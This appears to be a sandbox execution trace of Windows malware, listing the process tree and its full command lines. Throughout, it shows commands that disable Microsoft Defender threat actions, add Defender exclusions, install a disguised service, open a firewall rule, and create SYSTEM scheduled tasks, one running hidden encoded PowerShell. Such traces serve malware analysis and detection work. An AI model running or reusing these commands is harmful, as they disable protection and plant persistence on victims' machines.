C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tnwgtwbn.exe" C:\Windows\SysWOW64\thwpyjvh\2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create thwpyjvh binPath= "C:\Windows\SysWOW64\thwpyjvh\tnwgtwbn.exe /d\"C:\Users\Admin\AppData\Local\Temp\CAA6.exe\"" type= own start= auto DisplayName= "wifi support"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description thwpyjvh "wifi internet conection"2⤵
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start thwpyjvh2⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource core1⤵
-
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\ETrMnuP.exeC:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\ETrMnuP.exe W8 /site_id 668658 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gReeEKfmt" /SC once /ST 13:22:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gReeEKfmt"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gReeEKfmt"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\nyFjvKGtfVGLAKAU\LEvtckRr\uKQYAJBbqSFJQyRI.wsf"2⤵
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\nyFjvKGtfVGLAKAU\LEvtckRr\uKQYAJBbqSFJQyRI.wsf"2⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\QPFeEjmgnBUOfRVB" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\QPFeEjmgnBUOfRVB" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\JNybGRyT\SammyZC.dll",#1 /site_id 6686584⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "nMmJzTJTMvgDqJXEl"5⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\QPFeEjmgnBUOfRVB" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\QPFeEjmgnBUOfRVB" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nyFjvKGtfVGLAKAU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "xsEpqqHAgqAwsAroz" /SC once /ST 07:29:32 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\SPafJHB.exe\" za /site_id 668658 /S" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "xsEpqqHAgqAwsAroz"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True1⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True2⤵
-
C:\Users\Admin\AppData\Local\Temp\31D2.exeC:\Users\Admin\AppData\Local\Temp\31D2.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\548F.exeC:\Users\Admin\AppData\Local\Temp\548F.exe1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5216 -s 14202⤵
- Program crash
-
C:\Windows\SysWOW64\thwpyjvh\tnwgtwbn.exeC:\Windows\SysWOW64\thwpyjvh\tnwgtwbn.exe /d"C:\Users\Admin\AppData\Local\Temp\CAA6.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\825.exeC:\Users\Admin\AppData\Local\Temp\825.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\825.exe"2⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 81CFD9292F8C5E1881A77DF1E11BC1DD C2⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A744A0C7CED91243B1C05A27DEA476C22⤵
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0C5EB0244746DCEE277ED4A1E9DF3396 M Global\MSI00002⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1268494966-863105255-794163396-383904800232105621272950117-1662105011841063794"1⤵
-
C:\Users\Admin\AppData\Local\Temp\D8DD.exeC:\Users\Admin\AppData\Local\Temp\D8DD.exe1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-7546378831588109356-17241563710033065609246294121808585109-671176349-1168641114"1⤵
-
C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\SPafJHB.exeC:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\SPafJHB.exe za /site_id 668658 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bRciptYQhTCMvEFWGJ"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\STjmdXhOU\mIVpIM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ArGDBXWmyYtLacf" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ArGDBXWmyYtLacf2" /F /xml "C:\Program Files (x86)\STjmdXhOU\OqZpTOn.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "ArGDBXWmyYtLacf"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ArGDBXWmyYtLacf"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "dqMFPCMVHmhnSY" /F /xml "C:\Program Files (x86)\gaSWcYIjjvwU2\ClpxQVj.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "sOuBCsGGBJoge2" /F /xml "C:\ProgramData\QPFeEjmgnBUOfRVB\BUlcWet.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gdlTlvZfIMOZAvCeb2" /F /xml "C:\Program Files (x86)\YceypsUXabDXnCzNCPR\aWtLpYn.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "PcFGIyIlUJyYablHCHc2" /F /xml "C:\Program Files (x86)\NMbcPgNClKinC\GSwiYzP.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "nMmJzTJTMvgDqJXEl" /SC once /ST 09:01:23 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\JNybGRyT\SammyZC.dll\",#1 /site_id 668658" /V1 /F2⤵
- Creates scheduled task(s)
-
